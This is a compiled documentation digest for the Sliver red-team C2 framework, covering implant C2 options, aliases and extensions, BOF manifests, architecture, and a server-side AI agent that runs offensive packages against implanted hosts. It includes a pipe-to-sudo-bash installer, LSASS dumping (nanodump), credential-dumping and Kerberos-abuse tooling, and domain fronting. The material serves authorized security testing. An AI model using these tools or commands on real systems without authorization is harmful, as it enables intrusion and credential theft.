# Technical Documentation: BishopFox/sliver

> ℹ️ **Provenance:** Multi-Tier Ingestion · [CodeWiki Reference](https://codewiki.google/github.com/BishopFox/sliver)

### Overview (README.md)

# Sliver

Sliver is an open-source, cross-platform adversary emulation and red team framework designed for organizations of all sizes to perform authorized security testing.

Sliver implants support command-and-control (C2) over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS. Implants are dynamically compiled with unique per-binary asymmetric encryption keys and support a wide range of post-exploitation capabilities across macOS, Windows, and Linux.

Sliver includes support for native and shellcode payloads, userspace reflective loading, built-in shellcode encoding, and BOF/COFF execution on both amd64 and arm64 architectures for macOS, Windows, and Linux.

The Sliver server and client run on macOS, Windows, and Linux. Implants officially support those same platforms and may also run on additional targets supported by the Go compiler, although those configurations are not regularly tested.

[](https://github.com/BishopFox/sliver/actions/workflows/autorelease.yml) [](https://github.com/BishopFox/sliver/actions/workflows/golangci-lint.yml) [](https://www.gnu.org/licenses/gpl-3.0)

Visit [https://sliver.sh/](https://sliver.sh/) for tutorials and documentation.

### Getting Started

Download the latest [release](https://github.com/BishopFox/sliver/releases) and see the Sliver [wiki](https://sliver.sh/docs?name=Getting+Started) for a quick tutorial on basic setup and usage. To get the very latest and greatest compile from source.

#### Linux One Liner

`curl https://sliver.sh/install|sudo bash` and then run `sliver`

### Help!

Please checkout the [wiki](https://sliver.sh/), or start a [GitHub discussion](https://github.com/BishopFox/sliver/discussions).

### Compile From Source

See the [wiki](https://sliver.sh/docs?name=Compile+from+Source).

### License - GPLv3

Sliver is licensed under [GPLv3](https://www.gnu.org/licenses/gpl-3.0.en.html), some sub-components may have separate licenses. See their respective subdirectories in this project for details.

---

### Sliver Docs README (`docs/sliver-docs/README.md`)

# Sliver Docs

The source code for the Sliver documentation site.

### Developers

To run the documentation site locally first install the dependencies and then run the `dev` npm script:

```bash
npm install
npm run dev
```

Markdown is compiled into JSON for the site. `npm run dev` watches Markdown files and regenerates this content automatically.

### Offline Docs

To run your own copy of the documentation first install the dependencies and then run the `offline` npm script:

```bash
npm install
npm run offline
```

This will produce a `www.zip` file that contains the static html and JavaScript for the documentation site. You can extract this archive and host it anywhere:

```bash
unzip -o www.zip
cd out/
python3 -m http.server 8000
```

Then open your browser to `http://localhost:8000/` to view the documentation.

---

### Sliver Ai Agentic Loop (`docs/sliver-ai-agentic-loop.md`)

# Sliver AI Agentic Loop

**Historical design note:** This document describes the initial agentic-loop port. The current tool surface includes operations that modify remote state and is not read-only.

## Goal

Port the example agentic loop from `examples/codex/codex-rs` into Sliver's AI chat so the server can:

- run a multi-step Responses API turn
- emit turn and item lifecycle events similar to Codex
- persist reasoning and tool-call items for sync and restoration
- keep those non-chat items out of the model context window
- render the new items in the client TUI

## How The Codex Example Loop Works

The Codex example splits the loop into three layers.

### 1. Provider/Protocol Layer

The protocol layer receives raw model events such as:

- turn started / completed / failed
- reasoning deltas and completed reasoning items
- command/tool begin and end notifications
- assistant messages

These provider events are fine-grained and often arrive as partial updates.

### 2. Event Processor Layer

`event_processor_with_jsonl_output.rs` converts the raw provider stream into a stable thread event model.

The important behaviors are:

- a turn gets a lifecycle: `turn.started`, then `turn.completed` or `turn.failed`
- each logical item gets a stable id
- begin/end pairs are folded into a single item lifecycle
- reasoning is emitted as its own item type
- tool calls and command executions are emitted as their own item types
- active items can be updated in place before completion

This is the key abstraction that makes the TUI and persisted history simple.

### 3. TUI Layer

The Codex TUI consumes those stable events rather than reloading the whole thread.

That lets it:

- append new items incrementally
- update an existing in-flight item in place
- keep the transcript stable while a turn runs
- restore the same item types from stored history later

## Sliver Port

Sliver ports the same shape, adapted to its existing RPC and database model.

### Conversation State

`AIConversation` now stores:

- `ActiveTurnID`
- `TurnState`
- `TargetSessionID`
- `TargetBeaconID`

The turn fields let clients restore "waiting", "completed", and "failed" state without inferring it from the last chat message.

The target fields bind a conversation to the active session or beacon so server-side tools can default to the conversation target.

### Message State

`AIConversationMessage` now stores:

- `Kind`: chat, reasoning, or tool call
- `Visibility`: context or UI-only
- `IncludeInContext`: whether the block should be replayed into the provider context window
- `State`: in progress, completed, or failed
- `TurnID`
- `ItemID`
- tool call metadata: name, arguments, result, error text, tool call id

This keeps one ordered transcript table while still distinguishing chat context from UI-only telemetry.

### UI-Only Persistence

Reasoning, tool-call, and intermediate assistant chat items can be stored as normal conversation messages with `Visibility = UI_ONLY`.

That gives Sliver:

- cross-client sync through the existing conversation storage path
- transcript restoration after reconnect or TUI restart
- ordered replay of an entire turn, including intermediate items

At the same time, the model context builder keys off `IncludeInContext`, so UI visibility and provider visibility are now independent.

### Event Model

Sliver now publishes `AIConversationEvent` payloads instead of raw `AIConversation` snapshots.

Supported event types:

- `CONVERSATION_UPDATED`
- `CONVERSATION_DELETED`
- `TURN_STARTED`
- `TURN_COMPLETED`
- `TURN_FAILED`
- `MESSAGE_STARTED`
- `MESSAGE_UPDATED`
- `MESSAGE_COMPLETED`

Each event can carry:

- a conversation summary
- a single message/item
- the turn id
- optional error text

This mirrors the Codex pattern of stable turn and item lifecycle events.

## Server Turn Flow

For each new user message:

1. The user chat message is saved as a normal context-visible chat item.
2. The server resolves runtime provider/model settings.
3. A new turn id is generated and persisted with `TURN_STARTED`.
4. If the runtime supports the Responses API loop, Sliver runs the agentic loop.
5. Reasoning items are persisted as completed UI-only reasoning blocks.
6. Tool calls are persisted as in-progress UI-only tool blocks, executed locally, then updated in place to completed or failed.
7. Intermediate assistant chat blocks on tool-use turns are persisted as UI-only chat items with `IncludeInContext = false`.
8. Tool outputs are fed back into the Responses API with `previous_response_id`.
9. When the model returns final assistant text, that assistant message is persisted as a normal context-visible chat item with `IncludeInContext = true`.
10. The conversation turn state is cleared with `TURN_COMPLETED`.

If anything fails:

- a UI-only failed system message is persisted
- the conversation is marked `TURN_FAILED`
- the failure remains visible in the transcript without polluting future model context

## Tool Surface

The initial port exposed a read-only tool set:

- `list_sessions_and_beacons`
- `fs_ls`
- `fs_cat`
- `fs_pwd`

Why read-only first:

- it proves the loop, storage, eventing, and TUI behavior
- it avoids surprising destructive remote actions in the first server-side tool release

Filesystem tools accept explicit `session_id` or `beacon_id`, but when omitted they fall back to the conversation target.

Beacon-backed tools wait for task completion on the server before emitting the completed item update.

## Context Filtering

Only chat messages with:

- `Kind = CHAT`
- `IncludeInContext = true`

are included in future provider requests.

That means these items are excluded from the model context window:

- reasoning blocks
- tool call blocks
- UI-only intermediate assistant chat blocks
- failed system status blocks

This is the main rule that preserves transcript richness without degrading prompt quality.

## TUI Behavior

The AI TUI now consumes `AIConversationEvent` incrementally.

Instead of reloading the whole conversation for every server event, it:

- merges conversation summaries into the sidebar
- upserts messages in place by message id or item id
- updates waiting state from `TurnState`
- removes deleted conversations immediately

Reasoning and tool-call blocks render as dedicated dark-grey transcript boxes.

### Reasoning Blocks

Reasoning blocks show:

- the `Reasoning` label
- the persisted reasoning text
- item state metadata

### Tool Call Blocks

Tool blocks show:

- `Tool: <name>`
- arguments
- result
- error text when present
- item state metadata

These blocks are restored exactly like chat messages because they are stored in the same ordered transcript.

## Restore And Sync

Because UI-only items live in the database:

- another Sliver client can attach to the same conversation and see the full turn history
- reconnecting the TUI restores reasoning and tool-call blocks
- turn state survives restart, so "in progress" and "failed" status can be reconstructed from persisted conversation metadata

## Differences From Codex

This port intentionally differs from the example in a few places.

- Sliver currently uses non-streaming Responses API requests, so reasoning items arrive as completed items rather than token deltas.
- The initial port used a bounded read-only server-side function set, not the full Codex local tool surface.
- Sliver persists intermediate items in its conversation DB rather than only in a transient thread runtime.

The important invariant is still the same:

- turn lifecycle is explicit
- item lifecycle is explicit
- UI-only items are persisted and replayable
- only context-visible chat reaches the model

---

### Sliver Docs AGENTS (`docs/sliver-docs/AGENTS.md`)

# Repository Guidelines

## Project Structure & Module Organization
- `pages/` contains Next.js routes; Markdown docs live in `pages/docs/md`, tutorials under `pages/tutorials`.
- `components/` hosts reusable UI; `util/` stores loaders such as `Docs` and `Themes`.
- `public/` serves static assets and the generated `docs.json` consumed by search.
- `prebuild/` scripts run during `next build` to turn Markdown into JSON payloads.
- Tailwind config sits in `tailwind.config.js`; shared CSS lives in `styles/`.

## Build, Test, and Development Commands
- `npm install` sets up dependencies.
- `npm run dev` starts the docs server with hot reload on `http://localhost:3000`.
- `npm run build` exports the static site and regenerates `public/docs.json` plus tutorials JSON.
- `python3 -m http.server 8000 --directory out` serves the static build for smoke tests; `next start` does not support static exports.
- `npm run lint` runs ESLint.
- `npm run offline` builds, then zips `out/` for offline distribution.

## Coding Style & Naming Conventions
Use TypeScript with 2-space indentation and ES module imports. Keep React components PascalCase and helpers camelCase. Markdown filename stems are exact document names used by `?name=` links; follow existing title-case names and preserve filenames to avoid breaking links. Favor function components, hooks, and Tailwind utility classes; let ESLint autofix formatting issues and keep shared constants in `util/`.

## Testing Guidelines
No unit-test runner ships with this project, so treat `npm run lint` and `npm run build` as required gates. When adding interactive behavior, create targeted Playwright or Cypress checks under a `__tests__/` directory and describe how to run them in the PR. Always smoke-test the search panel locally after updating Markdown to confirm newly generated `docs.json` entries render.

## Commit & Pull Request Guidelines
History favors concise, imperative subjects (e.g., "Update workflows to use go v1.25.x"). Group related changes, reference issues with `#1234`, and avoid drive-by refactors. Pull requests should state purpose, call out UI diffs with screenshots or GIFs, confirm that `npm run lint` and `npm run build` both pass, and note any new content sources. Request a docs reviewer whenever Markdown copy changes.

## Content Authoring Tips
Edit or add docs in `pages/docs/md`; keep files flat so the generator exports clean slugs. After content updates, run `npm run build` to refresh `public/docs.json`, then spot-check sidebar headings in `npm run dev`. Tutorials follow the same workflow via `prebuild/generate-tutorials.js`, so align metadata fields to keep search results balanced.

---

### Sliver Docs Pages Docs Md Aliases And Extensions (`docs/sliver-docs/pages/docs/md/Aliases and Extensions.md`)

Sliver allows an operator to extend the local client console and its features by adding new commands based on third party tools. The easiest way to install an alias or extension is using the [armory](/docs?name=Armory).

## Server AI Access

Aliases and extensions used from the client console still live under `~/.sliver-client/aliases` and `~/.sliver-client/extensions`.

The server-side AI agent uses a separate store under `~/.sliver/ai/aliases` and `~/.sliver/ai/extensions`. To make a package available to the AI agent, copy the unpacked package directory into the matching server-side path so the manifest and payload artifacts are present together. For example:

- `~/.sliver/ai/aliases/Rubeus/alias.json`
- `~/.sliver/ai/aliases/Rubeus/Rubeus.exe`
- `~/.sliver/ai/extensions/nanodump/extension.json`
- `~/.sliver/ai/extensions/nanodump/nanodump.x64.o`

There is currently no dedicated UI for this workflow. The AI agent can search and execute only the packages that have been copied into these server-side directories.

#### Aliases Command Parsing

**⚠️ IMPORTANT:** It's important to understand that all alias commands have certain Sliver shell flags (those that appear in `--help`). Your Sliver shell commands are lexically parsed by the Sliver shell first, and only unnamed positional arguments are passed to the alias code. This means you may need to escape certain arguments in order for them to be correctly parsed.

For example with Seatbelt, `seatbelt -group=system` will fail because the Sliver shell will attempt to interpret the `-group` flag as a named flag (i.e., arguments that appear in `--help`). To ensure this argument is parsed as a positional argument we need to tell the CLI that no more arguments are to be passed to the sliver command using `--`, so the correct syntax is `seatbelt -- -group=system`

```
/* Detailed source-code truncated for AI context efficiency. */
```

Another trick is to provide a single empty string argument, after which all arguments will be parsed as positional e.g., `seatbelt '' -group=system`

**⚠️ IMPORTANT:** Arguments passed to .NET assemblies and non-reflective PE extensions are limited to 256 characters. This is due to a limitation in the Donut loader Sliver is using. A workaround for .NET assemblies is to execute them in-process, using the `--in-process` flag, or a custom BOF extension like `inline-execute-assembly`. There is currently no workaround for non-reflective PE extension.

## What's the difference between an alias and an extension?

From an end-user perspective there's not much of a difference between the two, except that extensions' arguments will show up in `--help` and may be required.

An alias is essentially just a thin wrapper around the existing `sideload` and `execute-assembly` commands, and aliases cannot have dependencies.

An extension can be a native shared library or a BOF. Shared libraries are reflectively loaded into the Sliver implant process and must implement the Sliver extension API to return output. BOFs use Beacon callbacks and can execute through the built-in Reflektor executor. The COFF Loader DLL remains available as a dependency for legacy Windows BOF execution. For supported platforms and basic examples, see [Cross-platform BOFs](/docs?name=Cross-platform+BOFs).

## Aliases

A Sliver alias is nothing more than a folder with the following structure:

- an `alias.json` file
- alias binaries in one of the following formats:
  - .NET assemblies
  - shared libraries (`.so`, `.dll`, `.dylib`)

Here is an example for the `Rebeus` alias, reusing some of the public tools from [the GhostPack organisation](https://github.com/GhostPack):

```
$ tree GhostPack
Rubeus
├── alias.json
├── Rubeus.exe
```

The `alias.json` file has the following structure:

```json
{
  "name": "Rubeus",
  "version": "0.0.0",
  "command_name": "rubeus",
  "original_author": "@GhostPack (HarmJ0y)",
  "repo_url": "https://github.com/sliverarmory/Rubeus",
  "help": "Rubeus is a C# tool set for raw Kerberos interaction and abuses.",

  "entrypoint": "Main",
  "allow_args": true,
  "default_args": "",
  "is_reflective": false,
  "is_assembly": true,
  "files": [
    {
      "os": "windows",
      "arch": "amd64",
      "path": "Rubeus.exe"
    },
    {
      "os": "windows",
      "arch": "386",
      "path": "Rubeus.exe"
    }
  ]
}
```

It contains a single JSON object, which has the following fields:

### Alias Fields

| Field Name      | Description                                                |
| --------------- | ---------------------------------------------------------- |
| `name`          | The stylized display name of the alias                     |
| `command_name`  | The actual console command (primary identifier)            |
| `entrypoint`    | The entrypoint (only required for DLLs / Reflective DLLs)  |
| `help`          | A short help message for the command                       |
| `long_help`     | A longer help message describing the command and its usage |
| `allow_args`    | Specify whether the command will allow arguments or not    |
| `files`         | A list of of extension files                               |
| `is_reflective` | Indicates whether the extension is a reflective DLL or not |
| `is_assembly`   | Indicates whether the extension is a .NET assembly or not  |

#### Files

| Field Name | Description                                                                         |
| ---------- | ----------------------------------------------------------------------------------- |
| `os`       | The operating system for which the file can be used on (i.e., `GOOS` syntax)        |
| `arch`     | The cpu architecture (i.e., `GOARCH` syntax)                                        |
| `path`     | Relative path to the file from the `alias.json`, parent directories are not allowed |

To load an alias in Sliver, use the `alias load` command:

```
sliver (CONCRETE_STEEL) > alias load /home/lesnuages/tools/misc/sliver-extensions/GhostPack/Rubeus

[*] Adding rubeus command: Rubeus is a C# toolset for raw Kerberos interaction and abuses.
[*] Rubeus extension has been loaded
```

The `help` command will now list the commands added by this extension:

```
sliver (CONCRETE_STEEL) > help
...
Sliver - 3rd Party extensions:
==============================
  rubeus    [GhostPack] Rubeus is a C# toolset for raw Kerberos interaction and abuses.
...
```

### Writing Aliases

To write a new alias, one must either create a shared library or a .NET assembly, then write a manifest file compliant with the description above.

As the alias support relies on Sliver side loading capabilities, please make sure to read the [Using 3rd party tools](/docs?name=Third+Party+Tools) section, to understand how shared libraries are loaded on all platforms.

## Extensions

Native extensions are supported by Windows implants (`386`, `amd64`, and `arm64`), Linux implants (`386`, `amd64`, and `arm64`), and macOS implants (`amd64` and `arm64`). Each manifest must include a platform-native shared library for every target it supports: `.dll` on Windows, `.so` on Linux, and `.dylib` on macOS.

Extensions are similar in structure to an alias, but internally work differently. An extension is an artifact of native code that is reflectively loaded by the implant and passed certain callbacks. These callbacks allow the extension to return data to the C2 server. Extensions may also have dependencies (other extensions), which Sliver will load prior to the extension; circular dependencies are not allowed. BOF extensions can use built-in Reflektor execution without a loader dependency, or retain a COFF Loader dependency for legacy Windows execution. See [BOF and COFF Support](/docs?name=BOF+and+COFF+Support) for executor selection and fallback behavior.

Native exports use the same Sliver extension ABI on every supported operating system. The export receives the argument buffer, its size, and a callback used to return output. The optional `init` export in the extension manifest is called once after the library is loaded and before any command export is invoked.

---

### Sliver Docs Pages Docs Md Anti Virus Evasion (`docs/sliver-docs/pages/docs/md/Anti-virus Evasion.md`)

The Sliver authors do not consider anti-virus evasion to be within the scope of the Sliver project; there is already a myriad of works in this area. That said, Sliver is designed to be interoperable with common techniques for bypassing anti-virus software such as packers, crypters, and [stagers](/docs?name=Stagers).

Here are some external resources for anti-virus evasion:

- https://github.com/phra/PEzor
- https://github.com/Veil-Framework/Veil

---

### Sliver Docs Pages Docs Md Architecture (`docs/sliver-docs/pages/docs/md/Architecture.md`)

This document describes the technical design of Sliver.

## High Level

There are four major components to the Sliver ecosystem:

- **Server Console -** The server console is the main interface, which is started when you run the `sliver-server` executable. The server console is a superset of the client console. All code is shared between the client/server consoles except server-specific commands related to client (i.e., operator) management. The server console talks over an in-memory gRPC interface to the server.
- **Sliver Server -** The Sliver server is also part of the `sliver-server` executable and manages the internal database, starts/stops network listeners (such as C2 listeners, though there are other types). The main interface used to interact with the server is the gRPC interface, thru which all functionality is implemented. By default the server will only start an in-memory gRPC listener that can only be communicated with from the server console. However, the gRPC interface can also be exposed to the network in multiplayer mode, directly over mutual TLS (mTLS) by default or through an optional WireGuard-protected wrapper that carries the same gRPC/mTLS service.
- **Sliver Client -** The client console is the primary user interface that is used to interact with the Sliver server. Note that most of the code in the server console is actually the client console. The client console can also be compiled into a separate client binary file `sliver-client`, which is generally used to connect to the multiplayer gRPC network listener.
- **Implant -** The implant is the actual malicious code run on the target system you want remote access to.

```
             In         ┌───────────────┐ C2
┌─────────┐  Memory     │               │ Protocol ┌─────────┐
│ Server  ├────────────►│ Sliver Server ├─────────►│ Implant │
│ Console │             │               │          └─────────┘
└─────────┘             └───────────────┘
                               ▲
                               │
                               │gRPC/mTLS (default)
                               │or optional WireGuard wrapper
                               │
                          ┌────┴────┐
                          │ Sliver  │
                          │ Client  │
                          └─────────┘
```

By implementing all functionality over this gRPC interface, and only differing the in-memory or remote transport types, the client code doesn't "know" if it's running in the server console or the client console. Due to this, a single command implementation will work in both the server console and over the network in multiplayer mode.

---

### Sliver Docs Pages Docs Md Armory (`docs/sliver-docs/pages/docs/md/Armory.md`)

The armory is the Sliver Alias and Extension package manager. It allows you to automatically install various third-party tools such as BOFs and .NET tooling.

The official armory downloads packages from `github.com` and `api.github.com` so you'll need an internet connection in order for the command to work. The command does support proxies (see `--help`) and after an alias or extension is installed an internet connection is not required to execute the alias/extension.

Aliases and extensions are installed on the "sliver client"-side, and thus are not shared among operators in [multiplayer mode](/docs?name=Multi-player+Mode).

The server-side AI agent uses a separate store under `~/.sliver/ai/aliases` and `~/.sliver/ai/extensions`. If you want the AI agent to discover and execute an alias or extension, copy the unpacked package directory (the manifest plus its artifacts) into the matching server-side path. There is currently no dedicated UI or install command for the AI store.

You can also use `armory install all` to install _everything_ if you really want to.

## The Official Armory

The official armory ships with Sliver binaries and is included by default in the `Makefile` when compiling from source. You can interact with the Armory using the `armory` command. Packages installed from the official armory are compiled and cryptographically signed by the Sliver authors. While we make a best effort to review 3rd party code, you are responsible for reviewing and understanding any 3rd party code before using it. Source code for any alias or extension can be found under the [Sliver Armory GitHub](https://github.com/sliverarmory) organization.

#### Installing Packages

List available packages by running the `armory` command without arguments, packages are installed using the package's command name:

```
sliver > armory install rubeus

[*] Installing alias 'Rubeus' (v0.0.21) ... done!

sliver > rubeus -h

[Rubeus] Rubeus is a C# tool set for raw Kerberos interaction and abuses.

...
```

#### Updating Packages

You can update all installed aliases and extensions by running `armory update` command.

```
sliver > armory update

[*] All aliases up to date!
[*] 1 extension(s) out of date: coff-loader
[*] Installing extension 'coff-loader' (v1.0.10) ... done!
```

#### Removing Packages

You remove packages installed from the `armory` using the `aliases rm` and `extensions rm` commands depending on if the package is an alias or an extension. You can list installed aliases and extensions by running `aliases` and `extensions` respectively.

Installed alias and extension files are stored in `~/.sliver-client/` by default if you want to manually remove a package simply delete its corresponding directory and restart the client.

If you also copied a package into the server-side AI store, remove that copy separately from `~/.sliver/ai/aliases` or `~/.sliver/ai/extensions`.

## Private Armories

See [Private Armories](/docs?name=Private+Armories) for hosting options, signing and authentication, and client configuration using the standalone [Private Armory](https://github.com/sliverarmory/private-armory) service.

---

### Sliver Docs Pages Docs Md Audit Log (`docs/sliver-docs/pages/docs/md/Audit Log.md`)

Sliver's audit log records server-side unary gRPC requests, including multiplayer operator requests, plus session and beacon registrations. It supports after-action analysis, but request entries are written before execution and do not confirm success. Client-only actions and interactive command input (e.g., within `shell`) are not recorded in the audit log.

By default the audit log is located on the server at: `~/.sliver/logs/audit.json`. However, this can be changed by modifying the [`SLIVER_ROOT_DIR`](/docs?name=Environment+Variables) environment variable.

By default, logs rotate at 50 MB and retain up to 20 compressed backups for at most 90 days. These limits are configurable under `logs` in `server.yaml`.

#### Parsing Audit Logs

The audit log uses a newline delimited (one object per line), nested-JSON format. A simplified RPC entry is shown below:

```
{"level":"info","msg":"{\"request\":\"{\\\"Port\\\":8888}\",\"method\":\"/rpcpb.SliverRPC/StartMTLSListener\"}","time":"2021-06-16T10:22:54-05:00"}
```

**NOTE:** Due to limitations in the logging APIs the audit log contains nested JSON objects that may require additional parsing.

The top level JSON should always contain:

- `level` - Currently, `info` indicates RPC requests and `warn` indicates registration events.
- `msg` - A JSON object encoded as a string. RPC entries contain `request` (another JSON-encoded string), `method`, `user`, `remote_ip`, and optional `session` or `beacon` details. Registration events instead contain `Session` or `Beacon` and `Register`, without `request` or `method`.
- `time` - The server's timestamp of the log entry

---

### Sliver Docs Pages Docs Md BOF And COFF Support (`docs/sliver-docs/pages/docs/md/BOF and COFF Support.md`)

Sliver supports the loading and execution of BOFs and COFFs, generally no code changes are needed to use BOFs with a Sliver implant. However, you may need to define a manifest file so that Sliver is aware of BOF arguments and their types.

For platform formats, supported architectures, and basic C examples for Windows, macOS, and Linux, see [Cross-platform BOFs](/docs?name=Cross-platform+BOFs).

### BOF Extensions

New Sliver implants execute BOFs with the built-in [Reflektor](https://github.com/sliverarmory/reflektor) executor by default. Armory packages can retain a [COFF Loader](https://github.com/sliverarmory/COFFLoader) dependency as a compatibility fallback for older clients, servers, and implants; Armory installs that dependency automatically.

The easiest way to install a BOF extension, for example [`nanodump`](https://github.com/sliverarmory/nanodump), is using the [armory](/docs?name=Armory) package manager:

**IMPORTANT:** BOF extensions are still installed per-sliver client for normal operator use, so they are not shared across operators automatically. If you want the server-side AI agent to use a BOF, copy the unpacked BOF directory into `~/.sliver/ai/extensions` on the server as well. Copy its `depends_on` package too when the manifest retains a compatibility fallback or explicitly selects a COFF loader.

```
sliver > armory install nanodump

[*] Installing extension 'nanodump' (v0.0.5) ... done!

sliver > nanodump -h

A Beacon Object File that creates a minidump of the LSASS process.

Usage:
======
  nanodump [flags] pid dump-name write-file signature

Args:
=====
  pid         int       The PID of the process you want to dump.
  dump-name   string    The name of the dump file.
  write-file  int       1 = write file, 0 = fileless
  signature   string    Signature used for evasion, PMDM = default

Flags:
======
  -h, --help           display help
  -s, --save           Save output to disk
  -t, --timeout int    command timeout in seconds (default: 60)
```

### Converting BOFs to Sliver

Converting existing BOFs to work with Sliver is usually pretty easy, and shouldn't require any code changes. You'll need to define an `extension.json`, though, based on what arguments/etc. the BOF accepts.

To determine the arguments a BOF accepts and their types, you'll need to read the `.cna` script that accompanies a given BOF. For example, the [CredMan](https://github.com/sliverarmory/CredManBOF/blob/main/CredMan.cna) `.cna` script is shown below:

```
alias CredMan {
	local('$handle $data $args $2');

    if(size(@_) != 3){
        berror($1, "CredMan: not enough arguments,Usage: CredMan [user process id] ");
        return;
    }

    $handle = openf(script_resource("CredMan.o"));
    $data   = readb($handle, -1);
    closef($handle)

    $args = bof_pack($1,"i",$2);

    btask($1, "Running CredMan");


    beacon_inline_execute($1,$data,"go",$args);
}

beacon_command_register(
"CredMan",
"Enables SeTrustedCredManAccess Privilege in a token stolen from winlogon.exe to dump Windows Credential Manager");
```

| Type | Description                      | Sliver Type                  |
| ---- | -------------------------------- | ---------------------------- |
| b    | binary data                      | `file` (path to binary data) |
| i    | 4-byte integer                   | `int` or `integer`           |
| s    | 2-byte short integer             | `short`                      |
| z    | zero-terminated+encoded string   | `string`                     |
| Z    | zero-terminated wide-char string | `wstring`                    |

Looking at the script we can see the BOF requires a single integer argument. The corresponding Sliver `extension.json` file is shown below. This manifest prefers Reflektor while retaining `coff-loader` for old-component compatibility. If the loader is not already installed, Armory installs it with the BOF package.

```json
{
  "name": "credman",
  "version": "1.0.0",
  "command_name": "credman",
  "extension_author": "lesnuages",
  "original_author": "jsecu",
  "repo_url": "https://github.com/sliverarmory/CredManBOF",
  "help": "Dump credentials using the CredsBackupCredentials API",
  "long_help": "",
  "bof_executor": "reflektor",
  "depends_on": "coff-loader",
  "entrypoint": "go",
  "files": [
    {
      "os": "windows",
      "arch": "amd64",
      "path": "credman.x64.o"
    },
    {
      "os": "windows",
      "arch": "386",
      "path": "credman.x86.o"
    }
  ],
  "arguments": [
    {
      "name": "pid",
      "desc": "PID of a process started by the target user",
      "type": "int",
      "optional": false
    }
  ]
}
```

`bof_executor` accepts two values:

- `reflektor` prefers built-in execution when both the server and implant advertise support. If `depends_on` is present, upgraded clients use it as the fallback for an older server or implant, while old clients ignore `bof_executor` and retain their existing loader behavior.
- `coff-loader` always uses the existing loader path. `depends_on` is required and names the concrete loader, including custom loaders.

When `bof_executor` is omitted, existing `.o` manifests with `depends_on` keep their legacy loader behavior. A dependency-free `.o` defaults to Reflektor and therefore requires a compatible client, server, and implant.

Once the manifest is defined load it into your client using `extensions load`, locally loaded extensions do not need to be cryptographically signed. The paths in the manifest should be relative to the manifest file, parent directories are not allowed.

If you want the server-side AI agent to discover and run the same BOF, copy that unpacked directory into `~/.sliver/ai/extensions/<name>/` so the `extension.json` file and `.o` artifact are available on the server.

More details can be found on the [Aliases & Extensions](/docs?name=Aliases+and+Extensions) page.

To execute BOF projects that ship CNA/Aggressor Script wrappers directly, see [OPFOR](/docs?name=OPFOR).

**IMPORTANT:** Legacy manifests should keep the `.o` file extension. An explicit `bof_executor` also identifies the command as a BOF, but older clients still rely on the `.o` suffix.

---

### Sliver Docs Pages Docs Md C2 Advanced Options (`docs/sliver-docs/pages/docs/md/C2 Advanced Options.md`)

Advanced options, as the name suggests, are for advanced users that know what they're doing. Using these options isn't the best user experience and may result in broken or unexpected implant behavior. Only use these options if you understand what they do.

Advanced options are configured per-C2 endpoint and are passed as URL encoded parameters to the C2 URL in the `generate` command. For example:

```
generate --http http://example.com?driver=wininet
```

### HTTP C2 Advanced Options

- `net-timeout` - Network timeout value, parsed by `time.ParseDuration`.
- `tls-timeout` - TLS handshake timeout value, parsed by `time.ParseDuration`.
- `poll-timeout` - Poll timeout value, parsed by `time.ParseDuration`.
- `max-errors` - Max number of HTTP errors before failing (integer parsed by `strconv.Atoi`).
- `driver` - Manually specify the HTTP driver (string). On windows this value can be set to `wininet` to use the `wininet` HTTP library for C2 communication.
- `force-http` - Set to `true` to always force the use of plaintext HTTP.
- `disable-accept-header` - Set to `true` to disable the HTTP accept request header.
- `disable-upgrade-header` - Set to `true` to disable the HTTP upgrade request header.
- `proxy` - Manually specify HTTP proxy, this value is only used with Go HTTP driver, and the format should be one that is accepted by the Go HTTP library. You must specify a URI scheme with the hostname of the proxy. For example, `?proxy=http://myproxy.corp.com:8080`
- `proxy-username` - Specify a proxy username. Only valid with the Go HTTP driver.
- `proxy-password` - Specify the proxy password. Only valid with the Go HTTP driver.
- `ask-proxy-creds` - Set to `true` to ask the user for HTTP proxy credentials. Only valid when used with the `wininet` HTTP driver.
- `host-header` - Used for domain fronting.

### DNS C2 Advanced Options

- `timeout` - Network timeout value, parsed by `time.ParseDuration`.
- `retry-wait` - Upon query failure, wait this amount of time before retrying.
- `retry-count` - Upon query failure, retry this many times before failing.
- `workers-per-resolver` - Number of worker goroutines per functional DNS resolver.
- `max-errors` - Max number of query errors before failing (integer parsed by `strconv.Atoi`).
- `force-resolv-conf` - Force the use of a provided `resolv.conf`. Note that you'll need to URL encode the newlines/etc of the file contents into the parameter.
- `resolvers` - Force the use of specific DNS resolvers. You can supply more than one by separating them with `+`, i.e. `...?resolvers=1.1.1.1+9.9.9.9`

---

### Sliver Docs Pages Docs Md Community Guides (`docs/sliver-docs/pages/docs/md/Community Guides.md`)

⚠️ **IMPORTANT:** This content was NOT created by the Sliver authors. Please keep in mind it may be out of date or contain slight inaccuracies:

### Books

- https://nostarch.com/red-team
- https://www.amazon.com/Adversarial-Tradecraft-Cybersecurity-real-time-computer/dp/1801076200/

### Videos

- https://youtu.be/3R6WKUgN0K4?t=456
- https://youtu.be/watch?v=QO_1UMaiWHk
- https://youtu.be/watch?v=izMMmOaLn9g
- https://youtu.be/watch?v=qIbrozlf2wM
- https://youtu.be/watch?v=CKfjLnEMfvI

### Blogs

- https://bishopfox.com/blog/passing-the-osep-exam-using-sliver
- https://notateamserver.xyz/blog/sliver-101/
- https://dominicbreuker.com/post/learning_sliver_c2_01_installation/
- https://vk9-sec.com/how-to-set-up-use-c2-sliver/
- https://0x90-1.gitbook.io/sliver/
- https://blog.ecapuano.com/p/so-you-want-to-be-a-soc-analyst-20
- https://wsummerhill.github.io/redteam/2023/07/25/Sliver-C2-Usage-for-Red-Teams.html
- https://rootsecdev.medium.com/hacking-active-directory-with-sliver-c2-19d7ceabbf13
- https://dev.to/living_syn/sliver-and-cursed-chrome-for-post-exploitation-4gnk

### Opsec Blogs

- https://tishina.in/opsec/sliver-opsec-notes

### Development Blogs

- https://github.com/thelikes/blog/blob/master/posts/sliver-bof-dev-quickstart.md
- https://medium.com/@youcef.s.kelouaz/writing-a-sliver-c2-powershell-stager-with-shellcode-compression-and-aes-encryption-9725c0201ea8
- https://security.humanativaspa.it/customizing-sliver-part-1/
- https://security.humanativaspa.it/customizing-sliver-part-2/
- https://security.humanativaspa.it/customizing-sliver-part-3/

### Detection & Analysis

- https://medium.com/@unsec.monitor/how-to-use-zeek-detect-sliver-http-beacon-traffic-f05b214c4056
- https://www.immersivelabs.com/blog/detecting-and-decrypting-sliver-c2-a-threat-hunters-guide/
- https://blogs.vmware.com/security/2023/01/detection-of-lateral-movement-with-the-sliver-c2-framework.html
- https://michaelkoczwara.medium.com/sliver-c2-implant-analysis-62773928097f
